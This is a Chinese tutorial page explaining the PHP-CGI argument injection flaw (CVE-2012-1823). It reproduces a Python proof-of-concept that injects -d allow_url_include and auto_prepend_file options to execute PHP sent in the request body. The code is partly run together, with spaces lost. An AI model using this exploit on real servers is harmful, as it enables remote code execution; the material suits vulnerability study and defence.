好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PHP-CGI漏洞成因原理剖析和利用 - 网站安全 - 自学

 PHPCGI漏洞最早由国外安全研究者于近日公开,其实际存在的时间则长达约8年之久。据360网站安全工程师介绍,该漏洞是用户将HTTP请求参数提交至Apache服务器,通过mod_cgi模块交给后端的php-cgi处理,但在执行过程中部分字符没有得到处理,比如空格、等号(=)、减号(-)等。利用这些字符,攻击者可以向后端的php-cgi解析程序提交恶意数据,php-cgi会将这段[数据]当做php参数直接执行,目前截获到的攻击主要利用以下PHP参数:

包含本地文件读取内容:

读取PHP源码:

直接执行任意命令:

  通过远程包含直接在服务器上执行webshell:

国外 黑客 公开的测试代码:   ######################################################################################   # Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit # Date: May 4, 2012 # Author: rayh4c[0x40]80sec[0x2e]com # Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com ######################################################################################   importsocket importsys   defcgi_exploit():         pwn_code ="""<?php phpinfo();?>"""         post_Length =len(pwn_code)         http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1 Host: %s Content-Type: application/x-www-form-urlencoded Content-Length: %s   %s """%(HOST , post_Length ,pwn_code)         printhttp_raw         try:             sock =socket.socket(socket.AF_INET, socket.SOCK_STREAM)             sock.connect((HOST, int(PORT)))             sock.send(http_raw)             data =sock.recv(10000)             printrepr(data)             sock.close()         exceptsocket.error, msg:             sys.stderr.write("[ERROR] %s\n"%msg[1])             sys.exit(1)                 if__name__ =='__main__':         try:             HOST =sys.argv[1]             PORT =sys.argv[2]             cgi_exploit()         exceptIndexError:             print'[+]Usage: cgi_test.py site.com 80'             sys.exit(-1)

查看更多关于PHP-CGI漏洞成因原理剖析和利用 - 网站安全 - 自学的详细内容...

  阅读:96次